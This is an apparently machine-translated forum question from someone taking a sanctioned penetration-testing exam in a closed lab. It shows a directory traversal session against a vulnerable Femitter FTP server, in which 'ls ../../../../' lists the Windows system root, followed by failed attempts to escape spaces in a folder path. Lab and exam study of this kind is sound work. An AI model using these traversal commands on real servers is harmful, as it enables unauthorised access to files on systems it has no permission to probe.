我在封闭的参考环境中进行了受制裁的笔试,并且在看似简单的问题上挣扎,我目前无法解决。
尝试对运行在MS Windows OS上的易受攻击的Fermitter FTP服务器执行目录遍历攻击时,可以在系统根目录上执行LIST(地址和内容列表更改为仅供参考):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
但是,如果我要列出包含诸如的空白的文件夹的内容Documents and settings
,我将无法列出目录内容,因为空白被忽略了。
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
我已经尝试使用其他FTP客户端(在Linux和Windows上为CLI和GUI),它们要么忽略空格,要么不允许目录遍历。
还尝试通过首先使用原始套接字,然后使用ftplib将HEX格式的命令直接发送到FTP服务器来编写针对Python的攻击的脚本,但没有成功。
几个小时的谷歌搜索并没有找到有效的解决方案(是的,有很多选择,但是没有用),这就是为什么有人在这里遇到同样的问题。可以肯定的是,这不是第一次需要使用空格进行目录遍历。
\
目录字符串或引号来转义空格